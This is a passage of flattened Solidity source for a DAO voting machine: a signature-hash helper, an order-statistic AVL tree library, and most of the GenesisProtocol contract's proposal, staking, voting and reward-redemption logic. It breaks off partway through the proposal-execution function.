* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* @dev and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(
"\x19Ethereum Signed Message:\n32",
hash
);
}
}
// File: contracts/libs/OrderStatisticTree.sol
library OrderStatisticTree {
struct Node {
mapping (bool => uint) children; // a mapping of left(false) child and right(true) child nodes
uint parent; // parent node
bool side; // side of the node on the tree (left or right)
uint height; //Height of this node
uint count; //Number of tree nodes below this node (including this one)
uint dupes; //Number of duplicates values for this node
}
struct Tree {
// a mapping between node value(uint) to Node
// the tree's root is always at node 0 ,which points to the "real" tree
// as its right child.this is done to eliminate the need to update the tree
// root in the case of rotation.(saving gas).
mapping(uint => Node) nodes;
}
/**
* @dev rank - find the rank of a value in the tree,
* i.e. its index in the sorted list of elements of the tree
* @param _tree the tree
* @param _value the input value to find its rank.
* @return smaller - the number of elements in the tree which their value is
* less than the input value.
*/
function rank(Tree storage _tree,uint _value) internal view returns (uint smaller) {
if (_value != 0) {
smaller = _tree.nodes[0].dupes;
uint cur = _tree.nodes[0].children[true];
Node storage currentNode = _tree.nodes[cur];
while (true) {
if (cur <= _value) {
if (cur<_value) {
smaller = smaller + 1+currentNode.dupes;
}
uint leftChild = currentNode.children[false];
if (leftChild!=0) {
smaller = smaller + _tree.nodes[leftChild].count;
}
}
if (cur == _value) {
break;
}
cur = currentNode.children[cur<_value];
if (cur == 0) {
break;
}
currentNode = _tree.nodes[cur];
}
}
}
function count(Tree storage _tree) internal view returns (uint) {
Node storage root = _tree.nodes[0];
Node memory child = _tree.nodes[root.children[true]];
return root.dupes+child.count;
}
function updateCount(Tree storage _tree,uint _value) private {
Node storage n = _tree.nodes[_value];
n.count = 1+_tree.nodes[n.children[false]].count+_tree.nodes[n.children[true]].count+n.dupes;
}
function updateCounts(Tree storage _tree,uint _value) private {
uint parent = _tree.nodes[_value].parent;
while (parent!=0) {
updateCount(_tree,parent);
parent = _tree.nodes[parent].parent;
}
}
function updateHeight(Tree storage _tree,uint _value) private {
Node storage n = _tree.nodes[_value];
uint heightLeft = _tree.nodes[n.children[false]].height;
uint heightRight = _tree.nodes[n.children[true]].height;
if (heightLeft > heightRight)
n.height = heightLeft+1;
else
n.height = heightRight+1;
}
function balanceFactor(Tree storage _tree,uint _value) private view returns (int bf) {
Node storage n = _tree.nodes[_value];
return int(_tree.nodes[n.children[false]].height)-int(_tree.nodes[n.children[true]].height);
}
function rotate(Tree storage _tree,uint _value,bool dir) private {
bool otherDir = !dir;
Node storage n = _tree.nodes[_value];
bool side = n.side;
uint parent = n.parent;
uint valueNew = n.children[otherDir];
Node storage nNew = _tree.nodes[valueNew];
uint orphan = nNew.children[dir];
Node storage p = _tree.nodes[parent];
Node storage o = _tree.nodes[orphan];
p.children[side] = valueNew;
nNew.side = side;
nNew.parent = parent;
nNew.children[dir] = _value;
n.parent = valueNew;
n.side = dir;
n.children[otherDir] = orphan;
o.parent = _value;
o.side = otherDir;
updateHeight(_tree,_value);
updateHeight(_tree,valueNew);
updateCount(_tree,_value);
updateCount(_tree,valueNew);
}
function rebalanceInsert(Tree storage _tree,uint _nValue) private {
updateHeight(_tree,_nValue);
Node storage n = _tree.nodes[_nValue];
uint pValue = n.parent;
if (pValue!=0) {
int pBf = balanceFactor(_tree,pValue);
bool side = n.side;
int sign;
if (side)
sign = -1;
else
sign = 1;
if (pBf == sign*2) {
if (balanceFactor(_tree,_nValue) == (-1 * sign)) {
rotate(_tree,_nValue,side);
}
rotate(_tree,pValue,!side);
} else if (pBf != 0) {
rebalanceInsert(_tree,pValue);
}
}
}
function rebalanceDelete(Tree storage _tree,uint _pValue,bool side) private {
if (_pValue!=0) {
updateHeight(_tree,_pValue);
int pBf = balanceFactor(_tree,_pValue);
int sign;
if (side)
sign = 1;
else
sign = -1;
int bf = balanceFactor(_tree,_pValue);
if (bf==(2*sign)) {
Node storage p = _tree.nodes[_pValue];
uint sValue = p.children[!side];
int sBf = balanceFactor(_tree,sValue);
if (sBf == (-1 * sign)) {
rotate(_tree,sValue,!side);
}
rotate(_tree,_pValue,side);
if (sBf!=0) {
p = _tree.nodes[_pValue];
rebalanceDelete(_tree,p.parent,p.side);
}
} else if (pBf != sign) {
p = _tree.nodes[_pValue];
rebalanceDelete(_tree,p.parent,p.side);
}
}
}
function fixParents(Tree storage _tree,uint parent,bool side) private {
if (parent!=0) {
updateCount(_tree,parent);
updateCounts(_tree,parent);
rebalanceDelete(_tree,parent,side);
}
}
function insertHelper(Tree storage _tree,uint _pValue,bool _side,uint _value) private {
Node storage root = _tree.nodes[_pValue];
uint cValue = root.children[_side];
if (cValue==0) {
root.children[_side] = _value;
Node storage child = _tree.nodes[_value];
child.parent = _pValue;
child.side = _side;
child.height = 1;
child.count = 1;
updateCounts(_tree,_value);
rebalanceInsert(_tree,_value);
} else if (cValue==_value) {
_tree.nodes[cValue].dupes++;
updateCount(_tree,_value);
updateCounts(_tree,_value);
} else {
insertHelper(_tree,cValue,(_value >= cValue),_value);
}
}
function insert(Tree storage _tree,uint _value) internal {
if (_value==0) {
_tree.nodes[_value].dupes++;
} else {
insertHelper(_tree,0,true,_value);
}
}
function rightmostLeaf(Tree storage _tree,uint _value) private view returns (uint leaf) {
uint child = _tree.nodes[_value].children[true];
if (child!=0) {
return rightmostLeaf(_tree,child);
} else {
return _value;
}
}
function zeroOut(Tree storage _tree,uint _value) private {
Node storage n = _tree.nodes[_value];
n.parent = 0;
n.side = false;
n.children[false] = 0;
n.children[true] = 0;
n.count = 0;
n.height = 0;
n.dupes = 0;
}
function removeBranch(Tree storage _tree,uint _value,uint _left) private {
uint ipn = rightmostLeaf(_tree,_left);
Node storage i = _tree.nodes[ipn];
uint dupes = i.dupes;
removeHelper(_tree,ipn);
Node storage n = _tree.nodes[_value];
uint parent = n.parent;
Node storage p = _tree.nodes[parent];
uint height = n.height;
bool side = n.side;
uint ncount = n.count;
uint right = n.children[true];
uint left = n.children[false];
p.children[side] = ipn;
i.parent = parent;
i.side = side;
i.count = ncount+dupes-n.dupes;
i.height = height;
i.dupes = dupes;
if (left!=0) {
i.children[false] = left;
_tree.nodes[left].parent = ipn;
}
if (right!=0) {
i.children[true] = right;
_tree.nodes[right].parent = ipn;
}
zeroOut(_tree,_value);
updateCounts(_tree,ipn);
}
function removeHelper(Tree storage _tree,uint _value) private {
Node storage n = _tree.nodes[_value];
uint parent = n.parent;
bool side = n.side;
Node storage p = _tree.nodes[parent];
uint left = n.children[false];
uint right = n.children[true];
if ((left == 0) && (right == 0)) {
p.children[side] = 0;
zeroOut(_tree,_value);
fixParents(_tree,parent,side);
} else if ((left != 0) && (right != 0)) {
removeBranch(_tree,_value,left);
} else {
uint child = left+right;
Node storage c = _tree.nodes[child];
p.children[side] = child;
c.parent = parent;
c.side = side;
zeroOut(_tree,_value);
fixParents(_tree,parent,side);
}
}
function remove(Tree storage _tree,uint _value) internal {
Node storage n = _tree.nodes[_value];
if (_value==0) {
if (n.dupes==0) {
return;
}
} else {
if (n.count==0) {
return;
}
}
if (n.dupes>0) {
n.dupes--;
if (_value!=0) {
n.count--;
}
fixParents(_tree,n.parent,n.side);
} else {
removeHelper(_tree,_value);
}
}
}
// File: contracts/VotingMachines/GenesisProtocol.sol
/**
* @title GenesisProtocol implementation -an organization's voting machine scheme.
*/
contract GenesisProtocol is IntVoteInterface,UniversalScheme {
using SafeMath for uint;
using RealMath for int216;
using RealMath for int256;
using ECRecovery for bytes32;
using OrderStatisticTree for OrderStatisticTree.Tree;
enum ProposalState { None ,Closed, Executed, PreBoosted,Boosted,QuietEndingPeriod }
enum ExecutionState { None, PreBoostedTimeOut, PreBoostedBarCrossed, BoostedTimeOut,BoostedBarCrossed }
//Organization's parameters
struct Parameters {
uint preBoostedVoteRequiredPercentage; // the absolute vote percentages bar.
uint preBoostedVotePeriodLimit; //the time limit for a proposal to be in an absolute voting mode.
uint boostedVotePeriodLimit; //the time limit for a proposal to be in an relative voting mode.
uint thresholdConstA;//constant A for threshold calculation . threshold =A * (e ** (numberOfBoostedProposals/B))
uint thresholdConstB;//constant B for threshold calculation . threshold =A * (e ** (numberOfBoostedProposals/B))
uint minimumStakingFee; //minimum staking fee allowed.
uint quietEndingPeriod; //quite ending period
uint proposingRepRewardConstA;//constant A for calculate proposer reward. proposerReward =(A*(RTotal) +B*(R+ - R-))/1000
uint proposingRepRewardConstB;//constant B for calculate proposing reward.proposerReward =(A*(RTotal) +B*(R+ - R-))/1000
uint stakerFeeRatioForVoters; // The “ratio of stake” to be paid to voters.
// All stakers pay a portion of their stake to all voters, stakerFeeRatioForVoters * (s+ + s-).
//All voters (pre and during boosting period) divide this portion in proportion to their reputation.
uint votersReputationLossRatio;//Unsuccessful pre booster voters lose votersReputationLossRatio% of their reputation.
uint votersGainRepRatioFromLostRep; //the percentages of the lost reputation which is divided by the successful pre boosted voters,
//in proportion to their reputation.
//The rest (100-votersGainRepRatioFromLostRep)% of lost reputation is divided between the successful wagers,
//in proportion to their stake.
uint daoBountyConst;//The DAO adds up a bounty for successful staker.
//The bounty formula is: s * daoBountyConst, where s+ is the wager staked for the proposal,
//and daoBountyConst is a constant factor that is configurable and changeable by the DAO given.
// daoBountyConst should be greater than stakerFeeRatioForVoters and less than 2 * stakerFeeRatioForVoters.
uint daoBountyLimit;//The daoBounty cannot be greater than daoBountyLimit.
}
struct Voter {
uint vote; // YES(1) ,NO(2)
uint reputation; // amount of voter's reputation
bool preBoosted;
}
struct Staker {
uint vote; // YES(1) ,NO(2)
uint amount; // amount of staker's stake
uint amountForBounty; // amount of staker's stake which will be use for bounty calculation
}
struct Proposal {
address avatar; // the organization's avatar the proposal is target to.
uint numOfChoices;
ExecutableInterface executable; // will be executed if the proposal will pass
uint votersStakes;
uint submittedTime;
uint boostedPhaseTime; //the time the proposal shift to relative mode.
ProposalState state;
uint winningVote; //the winning vote.
address proposer;
uint currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint daoBountyRemain;
uint[2] totalStakes;// totalStakes[0] - (amount staked minus fee) - Total number of tokens staked which can be redeemable by stakers.
// totalStakes[1] - (amount staked) - Total number of redeemable tokens.
// vote reputation
mapping(uint => uint ) votes;
// vote reputation
mapping(uint => uint ) preBoostedVotes;
// address voter
mapping(address => Voter ) voters;
// vote stakes
mapping(uint => uint ) stakes;
// address staker
mapping(address => Staker ) stakers;
}
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event Stake(bytes32 indexed _proposalId, address indexed _avatar, address indexed _staker,uint _vote,uint _amount);
event Redeem(bytes32 indexed _proposalId, address indexed _avatar, address indexed _beneficiary,uint _amount);
event RedeemDaoBounty(bytes32 indexed _proposalId, address indexed _avatar, address indexed _beneficiary,uint _amount);
event RedeemReputation(bytes32 indexed _proposalId, address indexed _avatar, address indexed _beneficiary,uint _amount);
mapping(bytes32=>Parameters) public parameters; // A mapping from hashes to parameters
mapping(bytes32=>Proposal) public proposals; // Mapping from the ID of the proposal to the proposal itself.
mapping(bytes=>bool) stakeSignatures; //stake signatures
uint constant public NUM_OF_CHOICES = 2;
uint constant public NO = 2;
uint constant public YES = 1;
uint public proposalsCnt; // Total number of proposals
mapping(address=>uint) orgBoostedProposalsCnt;
StandardToken public stakingToken;
mapping(address=>OrderStatisticTree.Tree) proposalsExpiredTimes; //proposals expired times
/**
* @dev Constructor
*/
constructor(StandardToken _stakingToken) public
{
stakingToken = _stakingToken;
}
/**
* @dev Check that the proposal is votable (open and not executed yet)
*/
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
/**
* @dev register a new proposal with the given parameters. Every proposal has a unique ID which is being
* generated by calculating keccak256 of a incremented counter.
* @param _numOfChoices number of voting choices
* @param _avatar an address to be sent as the payload to the _executable contract.
* @param _executable This contract will be executed when vote is over.
* @param _proposer address
* @return proposal's id.
*/
function propose(uint _numOfChoices, bytes32 , address _avatar, ExecutableInterface _executable,address _proposer)
external
returns(bytes32)
{
// Check valid params and number of choices:
require(_numOfChoices == NUM_OF_CHOICES);
require(ExecutableInterface(_executable) != address(0));
//Check parameters existence.
bytes32 paramsHash = getParametersFromController(Avatar(_avatar));
require(parameters[paramsHash].preBoostedVoteRequiredPercentage > 0);
// Generate a unique ID:
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt++;
// Open proposal:
Proposal memory proposal;
proposal.numOfChoices = _numOfChoices;
proposal.avatar = _avatar;
proposal.executable = _executable;
proposal.state = ProposalState.PreBoosted;
// solium-disable-next-line security/no-block-members
proposal.submittedTime = now;
proposal.currentBoostedVotePeriodLimit = parameters[paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = paramsHash;
proposals[proposalId] = proposal;
emit NewProposal(proposalId, _avatar, _numOfChoices, _proposer, paramsHash);
return proposalId;
}
/**
* @dev Cancel a proposal, only the owner can call this function and only if allowOwner flag is true.
*/
function cancelProposal(bytes32 ) external returns(bool) {
//This is not allowed.
return false;
}
/**
* @dev staking function
* @param _proposalId id of the proposal
* @param _vote NO(2) or YES(1).
* @param _amount the betting amount
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function stake(bytes32 _proposalId, uint _vote, uint _amount) external returns(bool) {
return _stake(_proposalId,_vote,_amount,msg.sender);
}
// Digest describing the data the user signs according EIP 712.
// Needs to match what is passed to Metamask.
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked("address GenesisProtocolAddress","bytes32 ProposalId", "uint Vote","uint AmountToStake","uint Nonce"));
// web3.eth.sign prefix
string public constant ETH_SIGN_PREFIX= "\x19Ethereum Signed Message:\n32";
/**
* @dev stakeWithSignature function
* @param _proposalId id of the proposal
* @param _vote NO(2) or YES(1).
* @param _amount the betting amount
* @param _nonce nonce value ,it is part of the signature to ensure that
a signature can be received only once.
* @param _signatureType signature type
1 - for web3.eth.sign
2 - for eth_signTypedData according to EIP #712.
* @param _signature - signed data by the staker
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function stakeWithSignature(
bytes32 _proposalId,
uint _vote,
uint _amount,
uint _nonce,
uint _signatureType,
bytes _signature
)
external
returns(bool)
{
require(stakeSignatures[_signature] == false);
// Recreate the digest the user signed
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)))
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
ETH_SIGN_PREFIX, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)))
);
}
address staker = delegationDigest.recover(_signature);
//a garbage staker address due to wrong signature will revert due to lack of approval and funds.
require(staker!=address(0));
stakeSignatures[_signature] = true;
return _stake(_proposalId,_vote,_amount,staker);
}
/**
* @dev voting function
* @param _proposalId id of the proposal
* @param _vote NO(2) or YES(1).
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function vote(bytes32 _proposalId, uint _vote) external votable(_proposalId) returns(bool) {
return internalVote(_proposalId, msg.sender, _vote, 0);
}
/**
* @dev voting function with owner functionality (can vote on behalf of someone else)
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function ownerVote(bytes32 , uint , address ) external returns(bool) {
//This is not allowed.
return false;
}
function voteWithSpecifiedAmounts(bytes32 _proposalId,uint _vote,uint _rep,uint) external votable(_proposalId) returns(bool) {
return internalVote(_proposalId,msg.sender,_vote,_rep);
}
/**
* @dev Cancel the vote of the msg.sender.
* cancel vote is not allow in genesisProtocol so this function doing nothing.
* This function is here in order to comply to the IntVoteInterface .
*/
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
//this is not allowed
return;
}
/**
* @dev getNumberOfChoices returns the number of choices possible in this proposal
* @param _proposalId the ID of the proposals
* @return uint that contains number of choices
*/
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint) {
return proposals[_proposalId].numOfChoices;
}
/**
* @dev voteInfo returns the vote and the amount of reputation of the user committed to this proposal
* @param _proposalId the ID of the proposal
* @param _voter the address of the voter
* @return uint vote - the voters vote
* uint reputation - amount of reputation committed by _voter to _proposalId
*/
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
/**
* @dev voteStatus returns the reputation voted for a proposal for a specific voting choice.
* @param _proposalId the ID of the proposal
* @param _choice the index in the
* @return voted reputation for the given choice
*/
function voteStatus(bytes32 _proposalId,uint _choice) external view returns(uint) {
return proposals[_proposalId].votes[_choice];
}
/**
* @dev isVotable check if the proposal is votable
* @param _proposalId the ID of the proposal
* @return bool true or false
*/
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
/**
* @dev proposalStatus return the total votes and stakes for a given proposal
* @param _proposalId the ID of the proposal
* @return uint preBoostedVotes YES
* @return uint preBoostedVotes NO
* @return uint stakersStakes
* @return uint totalRedeemableStakes
* @return uint total stakes YES
* @return uint total stakes NO
*/
function proposalStatus(bytes32 _proposalId) external view returns(uint, uint, uint ,uint, uint ,uint) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].totalStakes[0],
proposals[_proposalId].totalStakes[1],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
/**
* @dev proposalAvatar return the avatar for a given proposal
* @param _proposalId the ID of the proposal
* @return uint total reputation supply
*/
function proposalAvatar(bytes32 _proposalId) external view returns(address) {
return (proposals[_proposalId].avatar);
}
/**
* @dev scoreThresholdParams return the score threshold params for a given
* organization.
* @param _avatar the organization's avatar
* @return uint thresholdConstA
* @return uint thresholdConstB
*/
function scoreThresholdParams(address _avatar) external view returns(uint,uint) {
bytes32 paramsHash = getParametersFromController(Avatar(_avatar));
Parameters memory params = parameters[paramsHash];
return (params.thresholdConstA,params.thresholdConstB);
}
/**
* @dev getStaker return the vote and stake amount for a given proposal and staker
* @param _proposalId the ID of the proposal
* @param _staker staker address
* @return uint vote
* @return uint amount
*/
function getStaker(bytes32 _proposalId,address _staker) external view returns(uint,uint) {
return (proposals[_proposalId].stakers[_staker].vote,proposals[_proposalId].stakers[_staker].amount);
}
/**
* @dev state return the state for a given proposal
* @param _proposalId the ID of the proposal
* @return ProposalState proposal state
*/
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
/**
* @dev winningVote return the winningVote for a given proposal
* @param _proposalId the ID of the proposal
* @return uint winningVote
*/
function winningVote(bytes32 _proposalId) external view returns(uint) {
return proposals[_proposalId].winningVote;
}
/**
* @dev isAbstainAllow returns if the voting machine allow abstain (0)
* @return bool true or false
*/
function isAbstainAllow() external pure returns(bool) {
return false;
}
/**
* @dev getAllowedRangeOfChoices returns the allowed range of choices for a voting machine.
* @return min - minimum number of choices
max - maximum number of choices
*/
function getAllowedRangeOfChoices() external pure returns(uint min,uint max) {
return (NUM_OF_CHOICES,NUM_OF_CHOICES);
}
/**
* @dev execute check if the proposal has been decided, and if so, execute the proposal
* @param _proposalId the id of the proposal
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
/**
* @dev redeem a reward for a successful stake, vote or proposing.
* The function use a beneficiary address as a parameter (and not msg.sender) to enable
* users to redeem on behalf of someone else.
* @param _proposalId the ID of the proposal
* @param _beneficiary - the beneficiary address
* @return rewards -
* rewards[0] - stakerTokenAmount
* rewards[1] - stakerReputationAmount
* rewards[2] - voterTokenAmount
* rewards[3] - voterReputationAmount
* rewards[4] - proposerReputationAmount
* @return reputation - redeem reputation
*/
function redeem(bytes32 _proposalId,address _beneficiary) public returns (uint[5] rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed) || (proposal.state == ProposalState.Closed),"wrong proposal state");
Parameters memory params = parameters[proposal.paramsHash];
uint amount;
uint reputation;
uint lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation * params.votersReputationLossRatio)/100;
//as staker
Staker storage staker = proposal.stakers[_beneficiary];
if ((staker.amount>0) &&
(staker.vote == proposal.winningVote)) {
uint totalWinningStakes = proposal.stakes[proposal.winningVote];
if (totalWinningStakes != 0) {
rewards[0] = (staker.amount * proposal.totalStakes[0]) / totalWinningStakes;
}
if (proposal.state != ProposalState.Closed) {
rewards[1] = (staker.amount * ( lostReputation - ((lostReputation * params.votersGainRepRatioFromLostRep)/100)))/proposal.stakes[proposal.winningVote];
}
staker.amount = 0;
}
//as voter
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0 ) && (voter.preBoosted)) {
uint preBoostedVotes = proposal.preBoostedVotes[YES] + proposal.preBoostedVotes[NO];
if (preBoostedVotes>0) {
rewards[2] = ((proposal.votersStakes * voter.reputation) / preBoostedVotes);
}
if (proposal.state == ProposalState.Closed) {
//give back reputation for the voter
rewards[3] = ((voter.reputation * params.votersReputationLossRatio)/100);
} else if (proposal.winningVote == voter.vote ) {
rewards[3] = (((voter.reputation * params.votersReputationLossRatio)/100) +
(((voter.reputation * lostReputation * params.votersGainRepRatioFromLostRep)/100)/preBoostedVotes));
}
voter.reputation = 0;
}
//as proposer
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[4] = (params.proposingRepRewardConstA.mul(proposal.votes[YES]+proposal.votes[NO]) + params.proposingRepRewardConstB.mul(proposal.votes[YES]-proposal.votes[NO]))/1000;
proposal.proposer = 0;
}
amount = rewards[0] + rewards[2];
reputation = rewards[1] + rewards[3] + rewards[4];
if (amount != 0) {
proposal.totalStakes[1] = proposal.totalStakes[1].sub(amount);
require(stakingToken.transfer(_beneficiary, amount));
emit Redeem(_proposalId,proposal.avatar,_beneficiary,amount);
}
if (reputation != 0 ) {
ControllerInterface(Avatar(proposal.avatar).owner()).mintReputation(reputation,_beneficiary,proposal.avatar);
emit RedeemReputation(_proposalId,proposal.avatar,_beneficiary,reputation);
}
}
/**
* @dev redeemDaoBounty a reward for a successful stake, vote or proposing.
* The function use a beneficiary address as a parameter (and not msg.sender) to enable
* users to redeem on behalf of someone else.
* @param _proposalId the ID of the proposal
* @param _beneficiary - the beneficiary address
* @return redeemedAmount - redeem token amount
* @return potentialAmount - potential redeem token amount(if there is enough tokens bounty at the avatar )
*/
function redeemDaoBounty(bytes32 _proposalId,address _beneficiary) public returns(uint redeemedAmount,uint potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed) || (proposal.state == ProposalState.Closed));
uint totalWinningStakes = proposal.stakes[proposal.winningVote];
if (
// solium-disable-next-line operator-whitespace
(proposal.stakers[_beneficiary].amountForBounty>0)&&
(proposal.stakers[_beneficiary].vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0))
{
//as staker
Parameters memory params = parameters[proposal.paramsHash];
uint beneficiaryLimit = (proposal.stakers[_beneficiary].amountForBounty.mul(params.daoBountyLimit)) / totalWinningStakes;
potentialAmount = (params.daoBountyConst.mul(proposal.stakers[_beneficiary].amountForBounty))/100;
if (potentialAmount > beneficiaryLimit) {
potentialAmount = beneficiaryLimit;
}
}
if ((potentialAmount != 0)&&(stakingToken.balanceOf(proposal.avatar) >= potentialAmount)) {
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(ControllerInterface(Avatar(proposal.avatar).owner()).externalTokenTransfer(stakingToken,_beneficiary,potentialAmount,proposal.avatar));
proposal.stakers[_beneficiary].amountForBounty = 0;
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId,proposal.avatar,_beneficiary,redeemedAmount);
}
}
/**
* @dev shouldBoost check if a proposal should be shifted to boosted phase.
* @param _proposalId the ID of the proposal
* @return bool true or false.
*/
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) >= threshold(proposal.paramsHash,proposal.avatar));
}
/**
* @dev score return the proposal score
* @param _proposalId the ID of the proposal
* @return uint proposal score.
*/
function score(bytes32 _proposalId) public view returns(int) {
return _score(_proposalId);
}
/**
* @dev getBoostedProposalsCount return the number of boosted proposal for an organization
* @param _avatar the organization avatar
* @return uint number of boosted proposals
*/
function getBoostedProposalsCount(address _avatar) public view returns(uint) {
uint expiredProposals;
if (proposalsExpiredTimes[_avatar].count() != 0) {
// solium-disable-next-line security/no-block-members
expiredProposals = proposalsExpiredTimes[_avatar].rank(now);
}
return orgBoostedProposalsCnt[_avatar].sub(expiredProposals);
}
/**
* @dev threshold return the organization's score threshold which required by
* a proposal to shift to boosted state.
* This threshold is dynamically set and it depend on the number of boosted proposal.
* @param _avatar the organization avatar
* @param _paramsHash the organization parameters hash
* @return int organization's score threshold.
*/
function threshold(bytes32 _paramsHash,address _avatar) public view returns(int) {
uint boostedProposals = getBoostedProposalsCount(_avatar);
int216 e = 2;
Parameters memory params = parameters[_paramsHash];
require(params.thresholdConstB > 0,"should be a valid parameter hash");
int256 power = int216(boostedProposals).toReal().div(int216(params.thresholdConstB).toReal());
if (power.fromReal() > 100 ) {
power = int216(100).toReal();
}
int256 res = int216(params.thresholdConstA).toReal().mul(e.toReal().pow(power));
return res.fromReal();
}
/**
* @dev hash the parameters, save them if necessary, and return the hash value
* @param _params a parameters array
* _params[0] - _preBoostedVoteRequiredPercentage,
* _params[1] - _preBoostedVotePeriodLimit, //the time limit for a proposal to be in an absolute voting mode.
* _params[2] -_boostedVotePeriodLimit, //the time limit for a proposal to be in an relative voting mode.
* _params[3] -_thresholdConstA
* _params[4] -_thresholdConstB
* _params[5] -_minimumStakingFee
* _params[6] -_quietEndingPeriod
* _params[7] -_proposingRepRewardConstA
* _params[8] -_proposingRepRewardConstB
* _params[9] -_stakerFeeRatioForVoters
* _params[10] -_votersReputationLossRatio
* _params[11] -_votersGainRepRatioFromLostRep
* _params[12] - _daoBountyConst
* _params[13] - _daoBountyLimit
*/
function setParameters(
uint[14] _params //use array here due to stack too deep issue.
)
public
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] > 0,"0 < preBoostedVoteRequiredPercentage <= 100");
require(_params[4] > 0 && _params[4] <= 100000000,"0 < thresholdConstB < 100000000 ");
require(_params[3] <= 100000000 ether,"thresholdConstA <= 100000000 wei");
require(_params[9] <= 100,"stakerFeeRatioForVoters <= 100");
require(_params[10] <= 100,"votersReputationLossRatio <= 100");
require(_params[11] <= 100,"votersGainRepRatioFromLostRep <= 100");
require(_params[2] >= _params[6],"boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[7] <= 100000000,"proposingRepRewardConstA <= 100000000");
require(_params[8] <= 100000000,"proposingRepRewardConstB <= 100000000");
require(_params[12] <= (2 * _params[9]),"daoBountyConst <= 2 * stakerFeeRatioForVoters");
require(_params[12] >= _params[9],"daoBountyConst >= stakerFeeRatioForVoters");
bytes32 paramsHash = getParametersHash(_params);
parameters[paramsHash] = Parameters({
preBoostedVoteRequiredPercentage: _params[0],
preBoostedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
thresholdConstA:_params[3],
thresholdConstB:_params[4],
minimumStakingFee: _params[5],
quietEndingPeriod: _params[6],
proposingRepRewardConstA: _params[7],
proposingRepRewardConstB:_params[8],
stakerFeeRatioForVoters:_params[9],
votersReputationLossRatio:_params[10],
votersGainRepRatioFromLostRep:_params[11],
daoBountyConst:_params[12],
daoBountyLimit:_params[13]
});
return paramsHash;
}
/**
* @dev hashParameters returns a hash of the given parameters
*/
function getParametersHash(
uint[14] _params) //use array here due to stack too deep issue.
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10],
_params[11],
_params[12],
_params[13]));
}
/**
* @dev execute check if the proposal has been decided, and if so, execute the proposal
* @param _proposalId the id of the proposal
* @return bool true - the proposal has been executed
* false - otherwise.
*/
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint totalReputation = Avatar(proposal.avatar).nativeReputation().totalSupply();
uint executionBar = totalReputation * params.preBoostedVoteRequiredPercentage/100;
ExecutionState executionState = ExecutionState.None;
if (proposal.state == ProposalState.PreBoosted) {
// solium-disable-next-line security/no-block-members
if ((now - proposal.submittedTime) >= params.preBoostedVotePeriodLimit) {
proposal.state = ProposalState.Closed;
proposal.winningVote = NO;
executionState = ExecutionState.PreBoostedTimeOut;
} else if (proposal.votes[proposal.winningVote] > executionBar) {
// someone crossed the absolute vote execution bar.
proposal.state = ProposalState.Executed;
executionState = ExecutionState.PreBoostedBarCrossed;
} else if ( shouldBoost(_proposalId)) {
//change proposal mode to boosted mode.
proposal.state = ProposalState.Boosted;
// solium-disable-next-line security/no-block-members
proposal.boostedPhaseTime = now;
proposalsExpiredTimes[proposal.avatar].insert(proposal.boostedPhaseTime + proposal.currentBoostedVotePeriodLimit);
orgBoostedProposalsCnt[proposal.avatar]++;
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
// solium-disable-next-line security/no-block-members
if ((now - proposal.boostedPhaseTime) >= proposal.currentBoostedVotePeriodLimit) {
